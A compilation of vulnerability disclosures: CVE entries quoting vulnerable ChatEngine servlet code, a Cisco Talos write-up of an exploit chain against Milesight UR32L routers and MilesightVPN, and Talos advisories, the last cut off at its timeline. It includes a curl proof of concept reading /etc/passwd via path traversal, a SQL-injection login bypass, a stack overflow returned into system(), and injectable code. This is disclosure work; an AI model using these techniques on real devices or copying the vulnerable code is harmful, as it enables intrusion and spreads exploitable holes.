Cross Site Scripting (XSS) vulnerability in textMessage field in /src/chatbotapp/chatWindow.java in wliang6 ChatEngine commit fded8e710ad59f816867ad47d7fc4862f6502f3e, allows attackers to execute arbitrary code.

package chatbotapp; import java.io.IOException; import java.io.PrintWriter; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.Statement; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; /\*\* \* ChatBotApp \* @author Winnie Oct 11, 2016 \* chatWindow.java \*/ @WebServlet(urlPatterns = {"/chatWindow"}) public class chatWindow extends HttpServlet{ String username, tempName; HttpSession session; protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ response.setContentType("text/html;charset=UTF-8"); try(PrintWriter out = response.getWriter()){ String message = request.getParameter("txtMsg"); String username = session.getAttribute("username").toString(); //request.getRequestDispatcher("/WEB-INF/lib/chatbox.jsp").forward(request, response); out.println("<html> <head> <body bgcolor=\\"#0099B8\\"\> <meta http-equiv=\\"Content-Type\\" content=\\"text/html; charset=UTF-8\\"\> <title>Chat Room</title> </head>"); out.println("<meta http-equiv=\\"Content-Type\\" content=\\"text/html; charset=UTF-8\\"\> <center>"); out.println("<h2>Hi "); out.println(username); out.println("<br> Welcome to Chat Engine "); out.println("</h2><br><hr>"); out.println(" <body>"); out.println(" <form name=\\"chatWindow\\" action=\\"chatWindow\\"\>"); out.println("Message: <input type=\\"text\\" name=\\"txtMsg\\" value=\\"\\" /><input type=\\"submit\\" value=\\"Send\\" name=\\"cmdSend\\"/>"); out.println("<br><br> <a href=\\"chatWindow\\"\>Refresh Chat Room</a>"); out.println("<br> <br>"); out.println("Messages in Chat Box:"); out.println("<br><br>"); out.println("<textarea readonly=\\"readonly\\" name=\\"textMessage\\" rows=\\"20\\" cols=\\"60\\"\>"); if(request.getParameter("txtMsg") != null){ try{ Class.forName("org.apache.derby.jdbc.EmbeddedDriver"); java.sql.Connection con = DriverManager.getConnection("jdbc:derby:/Users/Winnie/MyDatabase;create=true", "", ""); Statement st = con.createStatement(); String sql = "insert into WEBCHATDATABASE.MYTABLE values ('"+username+"','"+message+"')"; st.executeUpdate(sql); st.execute("commit"); } catch(Exception e){ System.out.println(e.getMessage()); } } //Retrieve messages from database try{ Class.forName("org.apache.derby.jdbc.EmbeddedDriver"); //driver java.sql.Connection con = DriverManager.getConnection("jdbc:derby:/Users/Winnie/MyDatabase;create=true", "", ""); Statement statement = con.createStatement(); ResultSet resultSet = statement.executeQuery("select \*from WEBCHATDATABASE.MYTABLE"); while(resultSet.next()){ String messages = resultSet.getString(1)+ " >> " + resultSet.getString(2); out.println(messages); } //statement.executeUpdate("TRUNCATE TABLE WEBCHATDATABASE.MYTABLE"); con.close(); } catch(Exception e){ System.out.println(e.getMessage()); } out.println("</textarea>"); out.println("<hr>"); out.println("</form>"); out.println("</body"); out.println("</html>"); } } @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ session = request.getSession(); if(username != null){ tempName = username; } processRequest(request, response); } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ processRequest(request, response); } }

CVE-2023-30320: ChatEngine/src/chatbotapp/chatWindow.java at master · wliang6/ChatEngine

Cross Site Scripting (XSS) vulnerability in textMessage field in /src/chatbotapp/LoginServlet.java in wliang6 ChatEngine commit fded8e710ad59f816867ad47d7fc4862f6502f3e, allows attackers to execute arbitrary code.

package chatbotapp; import java.io.IOException; import java.io.PrintWriter; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.Statement; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; /\*\* \* ChatBotApp \* @author Winnie Oct 11, 2016 \* LoginServlet.java \*/ @WebServlet(urlPatterns = "/userLogin") public class LoginServlet extends HttpServlet{ public String username; HttpSession session; protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ response.setContentType("text/html;charset=UTF-8"); username = request.getParameter("username"); PrintWriter out = response.getWriter(); try{ session = request.getSession(); session.setAttribute("username", request.getParameter("username")); out.println("<html> <head> <body bgcolor=\\"#0099B8\\"\> <meta http-equiv=\\"Content-Type\\" content=\\"text/html; charset=UTF-8\\"\> <title>Chat Room</title> </head>"); out.println("<meta http-equiv=\\"Content-Type\\" content=\\"text/html; charset=UTF-8\\"\> <center>"); out.println("<h2>Hi "); out.println(username); out.println("<br> Welcome to Chat Engine "); out.println("</h2><br><hr>"); out.println(" <body>"); out.println(" <form name=\\"chatWindow\\" action=\\"chatWindow\\"\>"); out.println("Message: <input type=\\"text\\" name=\\"txtMsg\\" value=\\"\\" /><input type=\\"submit\\" value=\\"Send\\" name=\\"cmdSend\\"/>"); out.println("<br><br> <a href=\\"chatWindow\\"\>Refresh Chat Room</a>"); out.println("<br> <br>"); out.println("Messages in Chat Box:"); out.println("<br><br>"); out.println("<textarea readonly=\\"readonly\\" name=\\"textMessage\\" rows=\\"20\\" cols=\\"60\\"\>"); //Retrieve messages from database try{ Class.forName("org.apache.derby.jdbc.EmbeddedDriver"); //driver java.sql.Connection con = DriverManager.getConnection("jdbc:derby:/Users/Winnie/MyDatabase;create=true", "", ""); Statement statement = con.createStatement(); ResultSet resultSet = statement.executeQuery("select \*from WEBCHATDATABASE.MYTABLE"); while(resultSet.next()){ String messages = resultSet.getString(1)+ " >> " + resultSet.getString(2); out.println(messages); } //statement.executeUpdate("TRUNCATE TABLE WEBCHATDATABASE.MYTABLE"); con.close(); } catch(Exception e){ System.out.println(e.getMessage()); } out.println("</textarea>"); out.println("<hr>"); out.println("</form>"); out.println("</body"); out.println("</html>"); } catch(Exception e){ System.out.println(e); } } @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html;charset=UTF-8"); request.getRequestDispatcher("/WEB-INF/lib/index.jsp").forward(request, response); } @Override protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { processRequest(request, response); } }

CVE-2023-30321: ChatEngine/src/chatbotapp/LoginServlet.java at fded8e710ad59f816867ad47d7fc4862f6502f3e · wliang6/ChatEngine

In all, Cisco Talos is releasing 22 security advisories today, nine of which have a CVSS score greater than 8, associated with 69 CVEs.

Thursday, July 6, 2023 11:07

*   Cisco Talos discovered 17 vulnerabilities (63 CVEs) in the Milesight UR32L router and five vulnerabilities (six CVEs) in the Milesight MilesightVPN remote access solution software.
*   An attacker could exploit the vulnerabilities discovered to completely compromise the UR32L and MilesightVPN.
*   This post presents an attack scenario in which the UR32L is only reachable through the MilesightVPN remote access solution. The blog explains how an attacker could exploit the MilesightVPN and then fully compromise the UR32L.

Cisco Talos recently discovered several vulnerabilities in Milesight‘s UR32L – an ARMv7 Linux-based industrial cellular router — and Milesight’s MilesightVPN, a remote access solution for Milesight devices.

In all, Cisco Talos is releasing 22 security advisories today, nine of which have a CVSS score greater than 8, associated with 69 CVEs. Talos is disclosing these vulnerabilities despite no official fix from Milesight, in adherence to Cisco’s vulnerability disclosure policy. Milesight did not respond appropriately during the 90-day period as outlined in the policy.

The MilesightVPN is the remote access solution for Milesight devices not directly exposed to the internet. The MilesightVPN will perform this through a VPN system, making the VPN setup for the devices and the administrator easy. The MilesightVPN provides an HTTP admin page to monitor devices’ tunnel connection to the MilesightVPN itself and generate VPN configuration to join devices’ VPNs. By default, the MilesightVPN binds the HTTP server ports and the one VPN port on all interfaces. This software must be installed on a server machine reachable by the administrator and devices. Because of this, the most popular setup for administrator is to expose the MilesightVPN to the internet.

The Milesight UR32L is an industrial router that offers cellular capabilities. The router supports multiple users with different permissions. It offers a shell with restricted capabilities access. And many common industrial router features and functionalities. The Milesight UR32L does not include the ability to obtain and act with root privileges.

**Attack scenario overview**

In this blog post, Talos will present an attack scenario in which an adversary targets the Milesight UR32L, where the router is not exposed to the internet and instead uses a VPN tunnel for providing access to its internal network and the router itself. We considered the scenario where the device is managed through MilesightVPN. This software must be installed on a machine that is reachable by the UR32L router and the administrator. For the purposes of this post, we assume the MilesightVPN server is exposed to the internet.

MilesightVPN uses OpenVPN as the underlying VPN system. It is an excellent choice to use a well-established VPN system. OpenVPN is a well-known, tested VPN technology, which means it is less likely to have major security issues. But the MilesightVPN creates services around the OpenVPN tunnel like an HTTP server to monitor the connections and to generate OpenVPN configuration for joining the device’s VPN. By default, the MilesightVPN binds the HTTP server ports and the OpenVPN one on all interfaces. So, if the MilesightVPN is accessible on the internet, those services are by default accessible, too.

The UR32L has its own HTTP server; which allows users to manage the router configuration. We are also assuming the UR32L’s HTTP server is only accessible from the VPN and the MilesightVPN server is the only node that can generate a VPN configuration.

_An illustration of the proposed attack scenario._

The graphic below includes only the vulnerabilities relevant to this proposed attack scenario. This graphic shows the steps that an attacker could take to obtain root access to a Milesight UR32L:

**Attack walkthrough**

After locating the IP address of the MilesightVPN server, the attacker still cannot log in to the HTTP admin page due to the lack of valid credentials. The HTTP server login page of MilesightVPN looks like this:

From this point, an attacker could exploit TALOS-2023-1701 (CVE-2023-22319) to bypass the login and access the admin web pages on MilesightVPN. This vulnerability is a SQL injection in the _LoginAuth_ function responsible for checking the provided credentials. The check uses SQL without a prepared statement or any form of sanitization. The _LoginAuth_ code is shown below:

        function LoginAuth(res,postdata,connection){ 
            console.info('#######log.node:loginauth start'); 
            var sha512=crypto.createHash('sha512'); 
            sha512.update(postdata.pwd); 
            var pwd=sha512.digest('hex'); 
    [1]     $sql="select * from user where user='"+postdata.user+"' and passwd='"+pwd+"'"; 
    [2]     connection.query($sql).then(function(data){ 
                var result={}; 
                if(data['error']) 
                { 
                    [...] 
                } 
                else 
                { 
                    if(data['result'].length>0) 
                    { 
                        var dt=data['result']; 
                        result['status']=1; 
                        var token=generateToken(dt[0]['user']); 
                        var exp=new Date(
                            new Date().getTime()+
                                expiretime*1000).toUTCString(); 
                        res.setHeader('Set-Cookie',['token='+token]); 
                        console.info('#######log.node:loginauth success'); 
                        res.write(JSON.stringify(result)); 
                        res.end(); 
                    } 
                    else 
                    { 
                        [...] 
                    } 
                } 
            }); 
        } 
    

At _[1],_ the function composes, the SQL query for checking if the username and password provided correspond to the one of an existing user. Then, at _[2]_, the query is executed, if the resulting table is not empty a JWT, corresponding to the first matched user, is crafted and placed in the response header as the value of _Set-Cookie_. This function is vulnerable to a SQL injection vulnerability because the "preparation" of the query string is performed through string concatenation instead of a prepared statement. This SQL injection can allow an attacker to bypass the authentication of the HTTP server and gain admin access.

After bypassing the login page, an attacker would be presented with the following interface. The example below includes an interface with multiple devices registered and a single device that has an active connection.

From here, an attacker can glean information about the devices connected to the server and their IPs. Furthermore, it is possible to obtain an OpenVPN configuration file to join the VPN tunnel and communicate with the devices that were previously unreachable. The attacker can now communicate with all devices in the VPN. The following image is the HTTP server login page of the Milesight UR32L router:

From here, several attack paths are possible. TALOS-2023-1697 (CVE-2023-23902) is a pre-authentication stack-based buffer overflow that can lead to arbitrary remote code execution (RCE).

The attacker's only requirement is to be able to communicate with the router's HTTP server. This vulnerability is a pre-authentication, stack-based buffer overflow in the _decrypt_string_ function of the _uhttpd_ binary, the UR32L’s HTTP server binary. This function is responsible for decrypting the login password provided for the webpage login. The password sent from the browser is first AES-encrypted and then Base64-encoded. The _decrypt_string_ will Base64 decode and then AES decrypt the password.

The _uhttpd_ binary is not a Position Independent Executable (PIE), meaning that the binary is always loaded at the same virtual memory addresses, but the libraries are Position Independent Code (PIC). This makes it possible for an attacker to perform a code reuse attack using the binary code without any information leaks unless the attacker needs to reuse some of the libraries' code. Furthermore, the code reuse attack scenario is the path of least resistance for exploitation because no stack canary is used in this binary.

The binary is executed as root and makes use of functions such as _system_ and _popen_, as such, one of the options would be to mount an attack aiming to execute OS commands.

The following is a code snippet of the _uhttpd’ decrypt_string_:

    void decrypt_string(
        char *b64_encrypted_password,
        char *decrypted_password,
        size_t size_decrypted_password)
    { 
        [...] 
        uchar stack_decrypted_string [72]; 
        [... init the AES_key variable] 
        [... init the AES_IV variable] 
        [... calculate the __size variable value ...] 
        base64_decoded_string_start = (uchar *)malloc(__size); 
        [...] 
        memset(base64_decoded_string_start,0,__size); 
        processed_len = 0; 
        base64_decode_string_cursor = base64_decoded_string_start; 
        do { 
            // this check allow to base64 decode the string before decrypting it 
            if ((password_len_ - padding) <= processed_len) { 
                *base64_decode_string_cursor = '\0'; 
                ctx = EVP_CIPHER_CTX_new(); 
                [... check error ...] 
                cipher_type = EVP_aes_128_cbc(); 
                processed_len = EVP_DecryptInit_ex(
                    ctx,
                    cipher_type,
                    (ENGINE *)0x0,
                    AES_key,
                    AES_IV); 
                [... check error ...] 
    [1]         processed_len = EVP_DecryptUpdate(
                    ctx,
                    stack_decrypted_string,
                    &output_len,
                    base64_decoded_string_start,
                    (base64_decode_string_cursor + 
                        (-1 - base64_decoded_string_start)));                              
                [... check error ...] 
                processed_len = output_len; 
                iVar3 = EVP_DecryptFinal_ex(
                    ctx,
                    stack_decrypted_string + output_len,&output_len); 
                [... check error ...] 
                processed_len = processed_len + output_len; 
                EVP_CIPHER_CTX_free(ctx); 
                stack_decrypted_string[processed_len] = '\0'; 
                EVP_cleanup(); 
                ERR_free_strings(); 
                free(base64_decoded_string_start); 
    [2]         strncpy(
                    decrypted_password,
                    (char*)stack_decrypted_string,
                    size_decrypted_password);                 
                return; 
            } 
            [...] 
    [3]    	[... base64 decode ...]                 
        } while( true ); 
    } 
    

This function has three parameters: the _b64_encrypted_password_ parameter is the AES-encrypted and Base64-encoded password string that will be Base64 decoded and then AES decrypted; _decrypted_password_ is the destination buffer where the decoded and decrypted password will be copied;  _size_decrypted_password_ is the size of the _decrypted_password_ buffer. At _[3]_ the _b64_encrypted_password_ string is Base64 decoded and then, at _[1],_ the decoded value is AES decrypted into stack_decrypted_string, a 72-byte long stack buffer. Eventually, at _[2],_ _size_decrypted_password_ bytes will be copied from the _stack_decrypted_string_ buffer into the decrypted_password buffer.

In the _decrypted_password_ only _size_decrypted_password_ bytes will be copied, which will prevent any type of buffer overflow in the _decrypted_password_ buffer.

At _[1]_ the _OpenSSL's EVP_DecryptUpdate_ function will perform the AES decryption of the Base64 decoded user-controlled data into the _stack_decrypted_string_ stack buffer. Because the _stack_decrypted_string_ stack buffer is fixed in size and the decrypted string, provided by a user, can be greater in length than the stack buffer. This can lead to a buffer overflow in the _stack_decrypted_string_ buffer.

Essentially, the login API accepts the password as the Base64 encoding of the AES encryption of the password content. This function is used to decode the Base64 string and then AES decrypts it to obtain the actual password value.  The vulnerability is that the password can overflow a stack buffer overwriting the stack content, including the stored return address.

The exploitation of this vulnerability becomes easier because of the epilogue of this function:

      strncpy(
          decrypted_password,
          (char*)stack_decrypted_string,
          size_decrypted_password);          
      return; 
    

The _decrypted_password_ is a buffer in the function caller stack space where the decoded and decrypted password is saved. In assembly, this looks like:

    ldr r0, [sp,#0xc]  
    bl strncpy  
    add sp, sp, #0x84  
    pop {r4,r5,r6,r7,r8,r9,r10,r11,pc} 
    

The function that copies the plain text password into the _decrypted_password_ array, which is also the last function call before returning to the caller, is _strncpy_. The r0 register is used for passing the first argument of the function; in the case of _strncpy_, _r0_ points to the destination buffer. After the _strncpy_ function call r0 will point to the beginning of the plaintext password.

The fact that the vulnerability considered is a stack buffer overflow, the binary does not have a stack canary, the binary is not PIE and uses the _system_ function in combination with the fact that we control the content of what r0 points to, makes the exploitation straightforward. An attacker could overwrite the return address making the function return to the _system_ function and controlling the executed shell command by placing the command to execute at the beginning of the plaintext password payload, as shown in the gdb screenshot below.

The _pc_ is the last instruction of the _decrypt_string_ function and the return address was overwritten with the system plt entry, know because the binary is not PIE, and the _r0_ registry points to the _controllable_ string. So, the _decrypt_string_ returning will execute _system(“controllable”)_.

**Vulnerability Details**

The following vulnerabilities are command injection issues in Milesight UR32L. These vulnerabilities exist in different functionalities of the router. An attacker could exploit these vulnerabilities by sending a specially crafted network packet to a targeted device:

*   TALOS-2023-1694 (CVE-2023-23550)
*   TALOS-2023-1698 (CVE-2023-22306)
*   TALOS-2023-1699 (CVE-2023-22659)
*   TALOS-2023-1706 (CVE-2023-24519 - CVE-2023-24520)
*   TALOS-2023-1710 (CVE-2023-24582 - CVE-2023-24583)
*   TALOS-2023-1711 (CVE-2023-22365)
*   TALOS-2023-1712 (CVE-2023-22299)
*   TALOS-2023-1713 (CVE-2023-24595)
*   TALOS-2023-1714 (CVE-2023-22653)
*   TALOS-2023-1723 (CVE-2023-25582 - CVE-2023-25583)

There are also several vulnerabilities in the UR32L that could lead to a buffer overflow. An attacker could trigger these vulnerabilities by sending a specially crafted HTTP request or network request to the targeted device, depending on the specific vulnerability.

*   TALOS-2023-1697 (CVE-2023-23902)
*   TALOS-2023-1715 (CVE-2023-24018)
*   TALOS-2023-1716 (CVE-2023-25081 - CVE-2023-25124)
*   TALOS-2023-1718 (CVE-2023-24019)

TALOS-2023-1705 (CVE-2023-23546) is a misconfiguration vulnerability in the Milesight UR32L that could lead to an attacker obtaining increased privileges on the device. The adversary, in this case, would need to carry out a man-in-the-middle attack to exploit this vulnerability.

There is also an access violation vulnerability — TALOS-2023-1696 (CVE-2023-23571) — that could lead to a denial-of-service if the attacker sends the device a specially crafted network request. TALOS-2023-1695 (CVE-2023-23547) can also be exploited with a specially crafted network request, but in this case, can lead to arbitrary file read.

Talos also discovered five vulnerabilities in the MilesightVPN:

*   TALOS-2023-1700 (CVE-2023-22844): Authentication bypass vulnerability
*   TALOS-2023-1701 (CVE-2023-22319): SQL injection vulnerability
*   TALOS-2023-1702 (CVE-2023-23907): Directory traversal vulnerability
*   TALOS-2023-1703 (CVE-2023-22371): Command injection vulnerability
*   TALOS-2023-1704 (CVE-2023-24496 - CVE-2023-24497): Cross-site scripting vulnerability

**Coverage**

The following Snort rules will detect exploitation attempts against these vulnerabilities: 61206 – 61208, 61212, 61255 - 61258, 61266 - 61269, 61395 - 61397. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

Taking over Milesight UR32L routers behind a VPN: 22 vulnerabilities and a full chain

SQL injection vulnerability in langchain allows a remote attacker to obtain sensitive information via the SQLDatabaseChain component.

**langchain SQL Injection vulnerability**

High severity GitHub Reviewed Published Jul 6, 2023 to the GitHub Advisory Database • Updated Jul 6, 2023

GHSA-7q94-qpjr-xpgm: langchain SQL Injection vulnerability

A directory traversal vulnerability exists in the server.js start functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to arbitrary file read. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

A directory traversal vulnerability exists in the server.js start functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to arbitrary file read. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

**CWE**

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

**DETAILS**

The MilesightVPN is software that make the process easier of setting up the VPN tunnel for Milesight products, as well as allows monitoring the connection status with a web server interface.

The MilesightVPN’s server.js file has the start function that is the one responsible to manage the received requests:

    function start(route,handle,connection,generateToken,verifyToken,lang){
        const options={
            key:fs.readFileSync(path.join(__dirname,'./https/server.key')),
            cert:fs.readFileSync(path.join(__dirname,'./https/server.crt'))
        };
        var defaultpage={
            page:'index.html',
            login:'login.html',
            port:'18080',
            ssl_port:'18443'
        };
        disconnect(connection);
       [...]
        https.createServer(options,function(req,res){
            var method=req.method;
            var pathname=url.parse(req.url).pathname;
            [...]
            var ext=path.parse(pathname).ext;
            ext=ext.slice(1);
            [...]
            var realPath=path.join(__dirname,'../'+pathname);
            var cookie=req.headers.cookie;
            if(cookie)
            {
                [...]
            }
            else
            {
                if(ext=='html'&&(pathname.indexOf('login.html')<0&&pathname.indexOf('Device_Auth')<0))
                {
                    [...]
                }
            }
    
            if(method=='POST')
            {
                [...]
            }
            else
            {
                [...]
                if(ext=='html')
                {
                    [...]
                }
                fs.readFile(realPath,function(err,data){                                                    [1]
                    [...]
                    var contentType='';
                    switch(ext){
                        case 'html':
                            contentType='text/html';
                            break;
                        [...]
                        default:
                            contentType='text/plain';
                    }
                    res.writeHead(200,{'Content-Type':contentType});
                    res.end(data);
                });
            }
    
    
        }).listen(defaultpage.ssl_port);
    }
    

The function perform a series of check in the case the requested page extensions is html and in the case a cookie is provided. But, if the file does not have such extension and no cookie is provided, eventually, the code at [1] is reached and because no checks is performed against the provided path, this function is vulnerable to an unauthenticated directory path traversal.

**Exploit Proof of Concept**

Following a POC for the vulnerability exposed above:

    $ curl --path-as-is --insecure https://<SERVER_ADDRESS>/../etc/passwd  
    
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
    sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
    landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:111:1::/var/cache/pollinate:/bin/false
    vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
    vboxadd:x:997:1::/var/run/vboxadd:/bin/false
    fwupd-refresh:x:112:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
    mysql:x:113:120:MySQL Server,,,:/nonexistent:/bin/false
    redis:x:1002:1002::/home/redis:/bin/false
    stund:x:1003:1003::/home/stund:/bin/false
    tunnel:x:1004:1004::/bin:/bin/false
    

The request’s response is the /etc/passwd content.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

2023-02-14 - Initial Vendor Contact  
2023-02-21 - Vendor Disclosure  
2023-07-06 - Public Release

Discovered by Francesco Benvenuto of Cisco Talos.

CVE-2023-23907: TALOS-2023-1702 || Cisco Talos Intelligence Group

An os command injection vulnerability exists in the liburvpn.so create_private_key functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to command execution. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

An os command injection vulnerability exists in the liburvpn.so create\_private\_key functionality of Milesight VPN v2.0.2. A specially-crafted network request can lead to command execution. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Milesight VPN v2.0.2

**PRODUCT URLS**

MilesightVPN - https://www.milesight-iot.com/milesightvpn/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - chain: TALOS-2023-1702  
\##### CWE

CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

**DETAILS**

The MilesightVPN is a software that make easier the setup of VPN tunnel for the Milesight products and allow to monitor the connection status with a web server interface.

The MilesightVPN exposes the /Device_Auth API for the various Milesight devices for them to authenticate to the server and to get an OpenVPN configuration. The API is managed by the Device_Auth function:

    function Device_Auth(res,postdata,connection){
        var authcode=postdata['authcode'],subnet=postdata['subnet'],\
                    devicename=postdata['device_name'],sn=postdata['sn'];
        var newdt=dll_fun('get_openvpn_params',{});
        [...]
        if(newdt['result']['auth_code']!=authcode)
        {
            [...]
        }
        else
        {
            var $sql='select * from device where sn="'+sn+'"';
            connection.query($sql).then(function(data){
                if(data['error'])
                {
                    [... error branch ...]
                }
                else
                {
                    if(data['result'].length>0)
                    {
                        [...]
                    }
                    else
                    {
                        [...]
                        $sql1='insert into device(name,sn,remote_subnet,status) \
                        value("'+devicename+'","'+sn+'","'+subnet+'",0)';
                        connection.query($sql1).then(function(data1){
                            if(data1['error'])
                            {
                                [...]
                            }
                            else
                            {
                                var newdt3=dll_fun('register_client',{'cn':sn,'subnet':subnet});            [1]
                                [...]
                            }
                        })
                    }
                }
            })
        }
    }
    

This API expects four entries in the POST payload: - authcode: is a secret generated by the MilesightVPN - subnet: the subnet mask of the main network used by the device - device\_name: the identifier of the device that is connecting to the MilesightVPN server - sn: is the serial number of the device that is connecting to the MilesightVPN server

Eventually the function will reach the code at [1] that will call a function of the liburvpn.so library. In this case the function called is liburvpn.so’s register_a_client that takes one JSON object as argument, the object has the sn and the subnet as entry values.

Following the liburvpn.so’s register_a_client function:

    cJSON * register_a_client(cJSON *params)
    
    {
      [... variable declaration ...]
    
      [... variable initialization ...]
      for (obj = params->child; obj != (cJSON *)0x0; obj = obj->next) {
        iVar1 = strcmp(obj->string,"cn");
        if (iVar1 == 0) {
          common_name = obj->valuestring;
        }
        else {
          iVar1 = strcmp(obj->string,"subnet");
          if (iVar1 == 0) {
            subnet = obj->valuestring;
          }
        }
      }
      if ((common_name == (char *)0x0) || (subnet == (char *)0x0)) {
       [...]
      }
      else {
        [...]
        type = check_common_name(common_name);
        if (type == 0) {
          device_max = get_clients_limit();
          snprintf(cmd,0x80,"echo \"device max:%d\" >> /var/urvpn.log",(ulong)(uint)device_max);
          system(cmd);
          print_timestamp();
          printf("Register a router(%s)\n",common_name);
          [...]
          update_subnet(common_name,subnet);
          ret = register_a_router(common_name,ip,mask);                                                     [2]
        }
        [...]
      }
      [...]
    }
    

The function will perform various checks and eventually, if no error is encountered and the device is recognized as router, the function register_a_router, at [2], will be called. The register_a_router function will generate the cryptographic keys used for the VPN connection.

    int register_a_router(char *cn,char *ip,char *mask)
    
    {
      [...]
      iVar1 = general_keys("./urvpn/routers_ca",cn);
      return iVar1;
    }
    

The register_a_router function will call the general_keys function, that is the one that is effectively going to generate the cryptographic keys:

    int general_keys(char *path,char *name)
    
    {
      [... variable declaration ...]
    
    
      is_name_0_string = strcmp(name,"000000000000");
      if (is_name_0_string == 0) {
        [...]
      }
      else {
        snprintf(public_name,0x200,"%s/%s.csr",path,name);
        snprintf(private_name,0x200,"%s/%s.key",path,name);
        snprintf(certificate_name,0x200,"%s/%s.crt",path,name);
      }
      private_name_path_exists = check_file_exist(private_name);                                            [3]
      if (private_name_path_exists == 0) {
        print_timestamp();
        printf("create file private %s\n",private_name);
        create_private_key(private_name);                                                                   [4]
      }
      [...]
    }
    

This function will have as the name parameter the original sn, the serial number of the device. If this is not 000000000000, then various path-names are composed. We are going to focus on the private_name variable that is going to have the following form ./urvpn/routers_ca/<serial number>, at [3] it is checked if this pathname corresponds to an existing file, if this file does not exists the create_private_key function will be called at [4]:

    void create_private_key(char *private_name)
    
    {
     [...]
      snprintf(cmd,0x200,"openssl genrsa -out %s 1024",private_name);                                       [5]
      print_timestamp();
      printf("create private key:%s\n",cmd);
      system(cmd);
      [...]
    }
    

This function, for the code path considered, will execute system("openssl genrsa -out ./urvpn/routers_ca/<serial number> 1024");. Because the serial number variable, originally sn and then called cn in the liburvpn.so library, is never checked until [5], the /Device_Auth API can lead to an OS command injection in liburvpn.so at [5]. An attacker would need to know the Authorization Code of the server to actually use the /Device_Auth API. But because TALOS-2023-1702 this information can be easily retrieved by an attacker.

**VENDOR RESPONSE**

Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor\_vulnerability\_policy.html

**TIMELINE**

